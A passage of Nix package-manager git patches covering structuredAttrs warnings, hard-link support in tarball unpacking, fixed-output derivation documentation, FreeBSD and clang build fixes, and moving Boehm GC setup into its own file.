state.sMaxClosureSize) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks..maxClosureSize' instead", drvName); + + } else { auto s = state.coerceToString(pos, *i->value, context, context_below, true).toOwned(); drv.env.emplace(key, s); diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 16095cf5d..54644dc3a 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -2904,6 +2904,24 @@ void LocalDerivationGoal::checkOutputs(const std::mapgetStructuredAttrs()) { + if (get(*structuredAttrs, "allowedReferences")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'allowedReferences'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "allowedRequisites")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'allowedRequisites'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "disallowedRequisites")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'disallowedRequisites'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "disallowedReferences")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'disallowedReferences'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "maxSize")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'maxSize'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "maxClosureSize")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'maxClosureSize'; use 'outputChecks' instead"); + } if (auto outputChecks = get(*structuredAttrs, "outputChecks")) { if (auto output = get(*outputChecks, outputName)) { Checks checks; From de3fd52a95cedb57bc6d9dbda0c597cd2bfb3db5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 10 Jun 2024 15:55:53 +0200 Subject: [PATCH 0762/1251] Add tests/f/lang/eval-okay-derivation-legacy --- .../lang/eval-okay-derivation-legacy.err.exp | 6 ++++++ .../functional/lang/eval-okay-derivation-legacy.exp | 1 + .../functional/lang/eval-okay-derivation-legacy.nix | 12 ++++++++++++ 3 files changed, 19 insertions(+) create mode 100644 tests/functional/lang/eval-okay-derivation-legacy.err.exp create mode 100644 tests/functional/lang/eval-okay-derivation-legacy.exp create mode 100644 tests/functional/lang/eval-okay-derivation-legacy.nix diff --git a/tests/functional/lang/eval-okay-derivation-legacy.err.exp b/tests/functional/lang/eval-okay-derivation-legacy.err.exp new file mode 100644 index 000000000..94f0854dd --- /dev/null +++ b/tests/functional/lang/eval-okay-derivation-legacy.err.exp @@ -0,0 +1,6 @@ +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks..allowedReferences' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks..allowedRequisites' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks..disallowedReferences' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks..disallowedRequisites' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks..maxClosureSize' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks..maxSize' instead diff --git a/tests/functional/lang/eval-okay-derivation-legacy.exp b/tests/functional/lang/eval-okay-derivation-legacy.exp new file mode 100644 index 000000000..4f374a1aa --- /dev/null +++ b/tests/functional/lang/eval-okay-derivation-legacy.exp @@ -0,0 +1 @@ +"/nix/store/mzgwvrjjir216ra58mwwizi8wj6y9ddr-eval-okay-derivation-legacy" diff --git a/tests/functional/lang/eval-okay-derivation-legacy.nix b/tests/functional/lang/eval-okay-derivation-legacy.nix new file mode 100644 index 000000000..b529cdf90 --- /dev/null +++ b/tests/functional/lang/eval-okay-derivation-legacy.nix @@ -0,0 +1,12 @@ +(builtins.derivationStrict { + name = "eval-okay-derivation-legacy"; + system = "x86_64-linux"; + builder = "/dontcare"; + __structuredAttrs = true; + allowedReferences = [ ]; + disallowedReferences = [ ]; + allowedRequisites = [ ]; + disallowedRequisites = [ ]; + maxSize = 1234; + maxClosureSize = 12345; +}).out From d1dd7abbf008a0744debe2a13fb2f5a1c689007c Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 10 Jun 2024 20:50:35 +0200 Subject: [PATCH 0763/1251] mention the actual meaning of FODs in the glossary (#10888) * mention the actual meaning of FODs in the glossary Co-authored-by: Alex Groleau Co-authored-by: Daniel Baker Co-authored-by: Robert Hensing --- doc/manual/src/glossary.md | 5 ++--- doc/manual/src/language/advanced-attributes.md | 15 ++++++++------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index 55ad9e1c2..4c9b2c52e 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -71,10 +71,9 @@ [`__contentAddressed`](./language/advanced-attributes.md#adv-attr-__contentAddressed) attribute set to `true`. -- [fixed-output derivation]{#gloss-fixed-output-derivation} +- [fixed-output derivation]{#gloss-fixed-output-derivation} (FOD) - A derivation which includes the - [`outputHash`](./language/advanced-attributes.md#adv-attr-outputHash) attribute. + A [derivation] where a cryptographic hash of the [output] is determined in advance using the [`outputHash`](./language/advanced-attributes.md#adv-attr-outputHash) attribute, and where the [`builder`](@docroot@/language/derivations.md#attr-builder) executable has access to the network. - [store]{#gloss-store} diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 113062db1..70ec06f57 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -120,12 +120,11 @@ Derivations can declare some infrequently used optional attributes. configuration setting. - [`outputHash`]{#adv-attr-outputHash}; [`outputHashAlgo`]{#adv-attr-outputHashAlgo}; [`outputHashMode`]{#adv-attr-outputHashMode}\ - These attributes declare that the derivation is a so-called - *fixed-output derivation*, which means that a cryptographic hash of - the output is already known in advance. When the build of a - fixed-output derivation finishes, Nix computes the cryptographic - hash of the output and compares it to the hash declared with these - attributes. If there is a mismatch, the build fails. + These attributes declare that the derivation is a so-called *fixed-output derivation* (FOD), which means that a cryptographic hash of the output is already known in advance. + + As opposed to regular derivations, the [`builder`] executable of a fixed-output derivation has access to the network. + Nix computes a cryptographic hash of its output and compares that to the hash declared with these attributes. + If there is a mismatch, the derivation fails. The rationale for fixed-output derivations is derivations such as those produced by the `fetchurl` function. This function downloads a @@ -279,7 +278,9 @@ Derivations can declare some infrequently used optional attributes. > **Note** > - > If set to `false`, the [`builder`](./derivations.md#attr-builder) should be able to run on the system type specified in the [`system` attribute](./derivations.md#attr-system), since the derivation cannot be substituted. + > If set to `false`, the [`builder`] should be able to run on the system type specified in the [`system` attribute](./derivations.md#attr-system), since the derivation cannot be substituted. + + [`builder`]: ./derivations.md#attr-builder - [`__structuredAttrs`]{#adv-attr-structuredAttrs}\ If the special attribute `__structuredAttrs` is set to `true`, the other derivation From 35bdb9cee7dbb7f8733cab1b1fe327f525496773 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 11 Jun 2024 16:05:57 +0200 Subject: [PATCH 0764/1251] Support hard links in tarballs Fixes #10395. --- src/libfetchers/git-utils.cc | 48 +++++++++++++++++++++++++++++++++-- src/libfetchers/git-utils.hh | 2 +- src/libutil/fs-sink.hh | 13 ++++++++++ src/libutil/tarfile.cc | 11 +++++--- src/libutil/tarfile.hh | 2 +- tests/functional/tarball.sh | 9 +++++++ tests/functional/tree.tar.gz | Bin 0 -> 298 bytes 7 files changed, 78 insertions(+), 7 deletions(-) create mode 100644 tests/functional/tree.tar.gz diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 2ea1e15ed..32b35931a 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -115,10 +115,10 @@ git_oid hashToOID(const Hash & hash) return oid; } -Object lookupObject(git_repository * repo, const git_oid & oid) +Object lookupObject(git_repository * repo, const git_oid & oid, git_object_t type = GIT_OBJECT_ANY) { Object obj; - if (git_object_lookup(Setter(obj), repo, &oid, GIT_OBJECT_ANY)) { + if (git_object_lookup(Setter(obj), repo, &oid, type)) { auto err = git_error_last(); throw Error("getting Git object '%s': %s", oid, err->message); } @@ -909,6 +909,50 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink addToTree(*pathComponents.rbegin(), oid, GIT_FILEMODE_LINK); } + void createHardlink(const Path & path, const CanonPath & target) override + { + auto pathComponents = tokenizeString>(path, "/"); + if (!prepareDirs(pathComponents, false)) return; + + auto relTarget = CanonPath(path).parent()->makeRelative(target); + + auto dir = pendingDirs.rbegin(); + + // For each ../ component at the start, go up one directory. + std::string_view relTargetLeft(relTarget); + while (hasPrefix(relTargetLeft, "../")) { + if (dir == pendingDirs.rend()) + throw Error("invalid hard link target '%s'", target); + ++dir; + relTargetLeft = relTargetLeft.substr(3); + } + + // Look up the remainder of the target, starting at the + // top-most `git_treebuilder`. + std::variant curDir{dir->builder.get()}; + Object tree; // needed to keep `entry` alive + const git_tree_entry * entry = nullptr; + + for (auto & c : CanonPath(relTargetLeft)) { + if (auto builder = std::get_if(&curDir)) { + if (!(entry = git_treebuilder_get(*builder, std::string(c).c_str()))) + throw Error("cannot find hard link target '%s'", target); + curDir = *git_tree_entry_id(entry); + } else if (auto oid = std::get_if(&curDir)) { + tree = lookupObject(*repo, *oid, GIT_OBJECT_TREE); + if (!(entry = git_tree_entry_byname((const git_tree *) &*tree, std::string(c).c_str()))) + throw Error("cannot find hard link target '%s'", target); + curDir = *git_tree_entry_id(entry); + } + } + + assert(entry); + + addToTree(*pathComponents.rbegin(), + *git_tree_entry_id(entry), + git_tree_entry_filemode(entry)); + } + Hash sync() override { updateBuilders({}); diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh index 29d799554..495916f62 100644 --- a/src/libfetchers/git-utils.hh +++ b/src/libfetchers/git-utils.hh @@ -7,7 +7,7 @@ namespace nix { namespace fetchers { struct PublicKey; } -struct GitFileSystemObjectSink : FileSystemObjectSink +struct GitFileSystemObjectSink : ExtendedFileSystemObjectSink { /** * Flush builder and return a final Git hash. diff --git a/src/libutil/fs-sink.hh b/src/libutil/fs-sink.hh index ae577819a..994f19960 100644 --- a/src/libutil/fs-sink.hh +++ b/src/libutil/fs-sink.hh @@ -41,6 +41,19 @@ struct FileSystemObjectSink virtual void createSymlink(const Path & path, const std::string & target) = 0; }; +/** + * An extension of `FileSystemObjectSink` that supports file types + * that are not supported by Nix's FSO model. + */ +struct ExtendedFileSystemObjectSink : FileSystemObjectSink +{ + /** + * Create a hard link. The target must be the path of a previously + * encountered file relative to the root of the FSO. + */ + virtual void createHardlink(const Path & path, const CanonPath & target) = 0; +}; + /** * Recursively copy file system objects from the source into the sink. */ diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index 6bb2bd2f3..e45cfaf85 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -163,7 +163,7 @@ void unpackTarfile(const Path & tarFile, const Path & destDir) extract_archive(archive, destDir); } -time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSink) +time_t unpackTarfileToSink(TarArchive & archive, ExtendedFileSystemObjectSink & parseSink) { time_t lastModified = 0; @@ -183,7 +183,12 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin lastModified = std::max(lastModified, archive_entry_mtime(entry)); - switch (archive_entry_filetype(entry)) { + if (auto target = archive_entry_hardlink(entry)) { + parseSink.createHardlink(path, CanonPath(target)); + continue; + } + + switch (auto type = archive_entry_filetype(entry)) { case AE_IFDIR: parseSink.createDirectory(path); @@ -220,7 +225,7 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin } default: - throw Error("file '%s' in tarball has unsupported file type", path); + throw Error("file '%s' in tarball has unsupported file type %d", path, type); } } diff --git a/src/libutil/tarfile.hh b/src/libutil/tarfile.hh index 705d211e4..0517177db 100644 --- a/src/libutil/tarfile.hh +++ b/src/libutil/tarfile.hh @@ -41,6 +41,6 @@ void unpackTarfile(Source & source, const Path & destDir); void unpackTarfile(const Path & tarFile, const Path & destDir); -time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSink); +time_t unpackTarfileToSink(TarArchive & archive, ExtendedFileSystemObjectSink & parseSink); } diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh index ce162ddce..5d4749eb2 100755 --- a/tests/functional/tarball.sh +++ b/tests/functional/tarball.sh @@ -59,3 +59,12 @@ test_tarball() { test_tarball '' cat test_tarball .xz xz test_tarball .gz gzip + +# Test hard links. +path="$(nix flake prefetch --json "tarball+file://$(pwd)/tree.tar.gz" | jq -r .storePath)" +[[ $(cat "$path/a/b/foo") = bar ]] +[[ $(cat "$path/a/b/xyzzy") = bar ]] +[[ $(cat "$path/a/yyy") = bar ]] +[[ $(cat "$path/a/zzz") = bar ]] +[[ $(cat "$path/c/aap") = bar ]] +[[ $(cat "$path/fnord") = bar ]] diff --git a/tests/functional/tree.tar.gz b/tests/functional/tree.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..f1f1d996d8494c930ede3d0b66574c8e6efb014c GIT binary patch literal 298 zcmV+_0oDE=iwFP!000001MQdHYQ!KAMtzjLLC2rb=W)00RcVTwLX)R&bY%;LZb_DL z3;oWG1caG*bVjF~(vy;fRswSwbzrLB+POM5ly=@4Vr!jOq%~Qs1{Th%@_wFT9tM@t z%W=FpFXeNOg!(cS|50`aZ1K;Ui+|$+{P&>wUzSBKMiJ~UzJKswt0k+hC6HKZ9E)eQ}53c@Cj`>+G#*Y3^#PAOQ00000000000KmO`0`*Phd;ll_0G_ItkN^Mx literal 0 HcmV?d00001 From b130d2f2e335994cad555a77d242804b65a87062 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Tue, 11 Jun 2024 17:52:33 +0200 Subject: [PATCH 0765/1251] add more context on the README (#9871) the thesis is still the defining document with all the motivation and explanations. adding it here for greater visibility. also more emphasis and clarity around the community aspect. the hydra build job seems a bit arbitrary right there. may be better for the contributing guide. --- README.md | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index e1cace3b4..931a60bba 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ Visit [nix.dev](https://nix.dev) for [installation instructions](https://nix.dev Full reference documentation can be found in the [Nix manual](https://nixos.org/nix/manual). -## Building And Developing +## Building and developing See our [Hacking guide](https://nixos.org/manual/nix/unstable/contributing/hacking.html) in our manual for instruction on how to set up a development environment and build Nix from source. @@ -22,12 +22,17 @@ See our [Hacking guide](https://nixos.org/manual/nix/unstable/contributing/hacki Check the [contributing guide](./CONTRIBUTING.md) if you want to get involved with developing Nix. -## Additional Resources +## Additional resources -- [Nix manual](https://nixos.org/nix/manual) -- [Nix jobsets on hydra.nixos.org](https://hydra.nixos.org/project/nix) -- [NixOS Discourse](https://discourse.nixos.org/) -- [Matrix - #nix:nixos.org](https://matrix.to/#/#nix:nixos.org) +Nix was created by Eelco Dolstra and developed as the subject of his PhD thesis [The Purely Functional Software Deployment Model](https://edolstra.github.io/pubs/phd-thesis.pdf), published 2006. +Today, a world-wide developer community contributes to Nix and the ecosystem that has grown around it. + +- [The Nix, Nixpkgs, NixOS Community on nixos.org](https://nixos.org/) +- [Official documentation on nix.dev](https://nix.dev) +- [Nixpkgs](https://github.com/NixOS/nixpkgs) is [the largest, most up-to-date free software repository in the world](https://repology.org/repositories/graphs) +- [NixOS](https://github.com/NixOS/nixpkgs/tree/master/nixos) is a Linux distribution that can be configured fully declaratively +- [Discourse](https://discourse.nixos.org/) +- [Matrix](https://matrix.to/#/#nix:nixos.org) ## License From bd37a70d8f0ed43c21ce3cf746e9a20bede221ca Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 11 Jun 2024 19:39:42 +0200 Subject: [PATCH 0766/1251] Update tests/functional/tarball.sh Co-authored-by: Robert Hensing --- tests/functional/tarball.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh index 5d4749eb2..86b8ef2f5 100755 --- a/tests/functional/tarball.sh +++ b/tests/functional/tarball.sh @@ -61,6 +61,9 @@ test_tarball .xz xz test_tarball .gz gzip # Test hard links. +# All entries in tree.tar.gz refer to the same file, and all have the same inode when unpacked by GNU tar. +# We don't preserve the hard links, because that's an optimization we think is not worth the complexity, +# so we only make sure that the contents are copied correctly. path="$(nix flake prefetch --json "tarball+file://$(pwd)/tree.tar.gz" | jq -r .storePath)" [[ $(cat "$path/a/b/foo") = bar ]] [[ $(cat "$path/a/b/xyzzy") = bar ]] From efd4bf653325ce2a3f243923f39092e77af29fe3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 12 Jun 2024 14:41:35 +0200 Subject: [PATCH 0767/1251] Update src/libfetchers/git-utils.cc Co-authored-by: Robert Hensing --- src/libfetchers/git-utils.cc | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 32b35931a..ca02fbc89 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -914,11 +914,16 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink auto pathComponents = tokenizeString>(path, "/"); if (!prepareDirs(pathComponents, false)) return; + // We can't just look up the path from the start of the root, since + // some parent directories may not have finished yet, so we compute + // a relative path that helps us find the right git_tree_builder or object. auto relTarget = CanonPath(path).parent()->makeRelative(target); auto dir = pendingDirs.rbegin(); // For each ../ component at the start, go up one directory. + // CanonPath::makeRelative() always puts all .. elements at the start, + // so they're all handled by this loop: std::string_view relTargetLeft(relTarget); while (hasPrefix(relTargetLeft, "../")) { if (dir == pendingDirs.rend()) From 258e2a32ec5f9661d79c0016e2510c0057f9ddd3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 12 Jun 2024 14:57:40 +0200 Subject: [PATCH 0768/1251] Bump version --- .version | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.version b/.version index e9763f6bf..ad2261920 100644 --- a/.version +++ b/.version @@ -1 +1 @@ -2.23.0 +2.24.0 From e74ce01b7f0920026502824922cfd71fca5eb525 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 12 Jun 2024 10:50:07 -0400 Subject: [PATCH 0769/1251] Fix precompiled headers building with clang Since 24.05 (I think) we need to pass `-c` or Clang thinks we want to compile *both* a final executable and precompiled header file, and complains that we cannot use `-o` with multiple outputs. `-c` seems fine with GCC too, so I just put it in there conditionally. --- mk/precompiled-headers.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mk/precompiled-headers.mk b/mk/precompiled-headers.mk index cdd3daecd..f2803eb79 100644 --- a/mk/precompiled-headers.mk +++ b/mk/precompiled-headers.mk @@ -8,7 +8,7 @@ GCH = $(buildprefix)precompiled-headers.h.gch $(GCH): precompiled-headers.h @rm -f $@ @mkdir -p "$(dir $@)" - $(trace-gen) $(CXX) -x c++-header -o $@ $< $(GLOBAL_CXXFLAGS) $(GCH_CXXFLAGS) + $(trace-gen) $(CXX) -c -x c++-header -o $@ $< $(GLOBAL_CXXFLAGS) $(GCH_CXXFLAGS) clean-files += $(GCH) From 7c2981fc559e93131c845164907cec6cae11ce48 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 12 Jun 2024 10:02:20 -0400 Subject: [PATCH 0770/1251] Fix FreeBSD build This restores some CPP'd code that was added in c18911602eb4260d59acf8c17f1c3b4c7fcf7cee and accidentally lost in 2477e4e3b84b23b091befa1869a1fc6186fe74dc. Co-authored-by: Eelco Dolstra --- configure.ac | 8 +++++++ src/libexpr/eval.cc | 29 +++++++++++++++++++------- src/libstore/build/derivation-goal.cc | 6 +++++- tests/unit/libstore/worker-protocol.cc | 1 + 4 files changed, 36 insertions(+), 8 deletions(-) diff --git a/configure.ac b/configure.ac index 90a6d45d5..8211bec0b 100644 --- a/configure.ac +++ b/configure.ac @@ -369,6 +369,14 @@ if test "$gc" = yes; then PKG_CHECK_MODULES([BDW_GC], [bdw-gc]) CXXFLAGS="$BDW_GC_CFLAGS $CXXFLAGS" AC_DEFINE(HAVE_BOEHMGC, 1, [Whether to use the Boehm garbage collector.]) + + # See `fixupBoehmStackPointer`, for the integration between Boehm GC + # and Boost coroutines. + old_CFLAGS="$CFLAGS" + # Temporary set `-pthread` just for the next check + CFLAGS="$CFLAGS -pthread" + AC_CHECK_FUNCS([pthread_attr_get_np pthread_getattr_np]) + CFLAGS="$old_CFLAGS" fi AS_IF([test "$ENABLE_UNIT_TESTS" == "yes"],[ diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index f441977a5..42b26834c 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -48,6 +48,9 @@ #define GC_INCLUDE_NEW #include +#if __FreeBSD__ +# include +#endif #include #include @@ -264,30 +267,42 @@ static BoehmGCStackAllocator boehmGCStackAllocator; * However, the implementation is quite lean, and usually we don't have active * coroutines during evaluation, so this is acceptable. */ -void fixupBoehmStackPointer(void ** sp_ptr, void * pthread_id) { +void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) { void *& sp = *sp_ptr; + auto pthread_id = reinterpret_cast(_pthread_id); pthread_attr_t pattr; size_t osStackSize; void * osStackLow; void * osStackBase; - #ifdef __APPLE__ - osStackSize = pthread_get_stacksize_np((pthread_t)pthread_id); - osStackLow = pthread_get_stackaddr_np((pthread_t)pthread_id); - #else +# ifdef __APPLE__ + osStackSize = pthread_get_stacksize_np(pthread_id); + osStackLow = pthread_get_stackaddr_np(pthread_id); +# else if (pthread_attr_init(&pattr)) { throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); } - if (pthread_getattr_np((pthread_t)pthread_id, &pattr)) { +# ifdef HAVE_PTHREAD_GETATTR_NP + if (pthread_getattr_np(pthread_id, &pattr)) { throw Error("fixupBoehmStackPointer: pthread_getattr_np failed"); } +# elif HAVE_PTHREAD_ATTR_GET_NP + if (!pthread_attr_init(&pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); + } + if (!pthread_attr_get_np(pthread_id, &pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_get_np failed"); + } +# else +# error "Need one of `pthread_attr_get_np` or `pthread_getattr_np`" +# endif if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) { throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed"); } if (pthread_attr_destroy(&pattr)) { throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed"); } - #endif +# endif osStackBase = (char *)osStackLow + osStackSize; // NOTE: We assume the stack grows down, as it does on all architectures we support. // Architectures that grow the stack up are rare. diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index 4226fb61a..e72ef4cf9 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -25,6 +25,10 @@ #include #include +#ifndef _WIN32 // TODO abstract over proc exit status +# include +#endif + #include namespace nix { @@ -1033,7 +1037,7 @@ void DerivationGoal::buildDone() BuildResult::Status st = BuildResult::MiscFailure; -#ifndef _WIN32 +#ifndef _WIN32 // TODO abstract over proc exit status if (hook && WIFEXITED(status) && WEXITSTATUS(status) == 101) st = BuildResult::TimedOut; diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc index 5907ea5a4..70e03a8ab 100644 --- a/tests/unit/libstore/worker-protocol.cc +++ b/tests/unit/libstore/worker-protocol.cc @@ -1,4 +1,5 @@ #include +#include #include #include From 5b53d8fec3149937d44b2302d51967aa95253d7a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 12 Jun 2024 10:17:39 -0400 Subject: [PATCH 0771/1251] Factor out GC initialization code This is not really part of the evaluator: it is just an integration between Boehm GC and Boost coroutines usable for any purpose. The evaluator (merely) optionally uses it. --- src/libexpr/eval-gc.cc | 226 +++++++++++++++++++++++++++++++++++++++++ src/libexpr/eval-gc.hh | 16 +++ src/libexpr/eval.cc | 210 ++------------------------------------ src/libexpr/eval.hh | 7 +- 4 files changed, 249 insertions(+), 210 deletions(-) create mode 100644 src/libexpr/eval-gc.cc create mode 100644 src/libexpr/eval-gc.hh diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc new file mode 100644 index 000000000..baf9df332 --- /dev/null +++ b/src/libexpr/eval-gc.cc @@ -0,0 +1,226 @@ +#include "error.hh" +#include "environment-variables.hh" +#include "serialise.hh" +#include "eval-gc.hh" + +#if HAVE_BOEHMGC + +# include +# if __FreeBSD__ +# include +# endif + +# include +# include +# include + +# include +# include +# include + +#endif + +namespace nix { + +#if HAVE_BOEHMGC +/* Called when the Boehm GC runs out of memory. */ +static void * oomHandler(size_t requested) +{ + /* Convert this to a proper C++ exception. */ + throw std::bad_alloc(); +} + +class BoehmGCStackAllocator : public StackAllocator +{ + boost::coroutines2::protected_fixedsize_stack stack{ + // We allocate 8 MB, the default max stack size on NixOS. + // A smaller stack might be quicker to allocate but reduces the stack + // depth available for source filter expressions etc. + std::max(boost::context::stack_traits::default_size(), static_cast(8 * 1024 * 1024))}; + + // This is specific to boost::coroutines2::protected_fixedsize_stack. + // The stack protection page is included in sctx.size, so we have to + // subtract one page size from the stack size. + std::size_t pfss_usable_stack_size(boost::context::stack_context & sctx) + { + return sctx.size - boost::context::stack_traits::page_size(); + } + +public: + boost::context::stack_context allocate() override + { + auto sctx = stack.allocate(); + + // Stacks generally start at a high address and grow to lower addresses. + // Architectures that do the opposite are rare; in fact so rare that + // boost_routine does not implement it. + // So we subtract the stack size. + GC_add_roots(static_cast(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp); + return sctx; + } + + void deallocate(boost::context::stack_context sctx) override + { + GC_remove_roots(static_cast(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp); + stack.deallocate(sctx); + } +}; + +static BoehmGCStackAllocator boehmGCStackAllocator; + +/** + * When a thread goes into a coroutine, we lose its original sp until + * control flow returns to the thread. + * While in the coroutine, the sp points outside the thread stack, + * so we can detect this and push the entire thread stack instead, + * as an approximation. + * The coroutine's stack is covered by `BoehmGCStackAllocator`. + * This is not an optimal solution, because the garbage is scanned when a + * coroutine is active, for both the coroutine and the original thread stack. + * However, the implementation is quite lean, and usually we don't have active + * coroutines during evaluation, so this is acceptable. + */ +void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) +{ + void *& sp = *sp_ptr; + auto pthread_id = reinterpret_cast(_pthread_id); + pthread_attr_t pattr; + size_t osStackSize; + void * osStackLow; + void * osStackBase; + +# ifdef __APPLE__ + osStackSize = pthread_get_stacksize_np(pthread_id); + osStackLow = pthread_get_stackaddr_np(pthread_id); +# else + if (pthread_attr_init(&pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); + } +# ifdef HAVE_PTHREAD_GETATTR_NP + if (pthread_getattr_np(pthread_id, &pattr)) { + throw Error("fixupBoehmStackPointer: pthread_getattr_np failed"); + } +# elif HAVE_PTHREAD_ATTR_GET_NP + if (!pthread_attr_init(&pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); + } + if (!pthread_attr_get_np(pthread_id, &pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_get_np failed"); + } +# else +# error "Need one of `pthread_attr_get_np` or `pthread_getattr_np`" +# endif + if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) { + throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed"); + } + if (pthread_attr_destroy(&pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed"); + } +# endif + osStackBase = (char *) osStackLow + osStackSize; + // NOTE: We assume the stack grows down, as it does on all architectures we support. + // Architectures that grow the stack up are rare. + if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack + sp = osStackBase; + } +} + +/* Disable GC while this object lives. Used by CoroutineContext. + * + * Boehm keeps a count of GC_disable() and GC_enable() calls, + * and only enables GC when the count matches. + */ +class BoehmDisableGC +{ +public: + BoehmDisableGC() + { + GC_disable(); + }; + ~BoehmDisableGC() + { + GC_enable(); + }; +}; + +static inline void initGCReal() +{ + /* Initialise the Boehm garbage collector. */ + + /* Don't look for interior pointers. This reduces the odds of + misdetection a bit. */ + GC_set_all_interior_pointers(0); + + /* We don't have any roots in data segments, so don't scan from + there. */ + GC_set_no_dls(1); + + GC_INIT(); + + GC_set_oom_fn(oomHandler); + + StackAllocator::defaultAllocator = &boehmGCStackAllocator; + +// TODO: Remove __APPLE__ condition. +// Comment suggests an implementation that works on darwin and windows +// https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196 +# if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 2 && GC_VERSION_MICRO >= 4 && !defined(__APPLE__) + GC_set_sp_corrector(&fixupBoehmStackPointer); + + if (!GC_get_sp_corrector()) { + printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines"); + /* Used to disable GC when entering coroutines on macOS */ + create_coro_gc_hook = []() -> std::shared_ptr { return std::make_shared(); }; + } +# else +# warning \ + "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.2.4 or later." +# endif + + /* 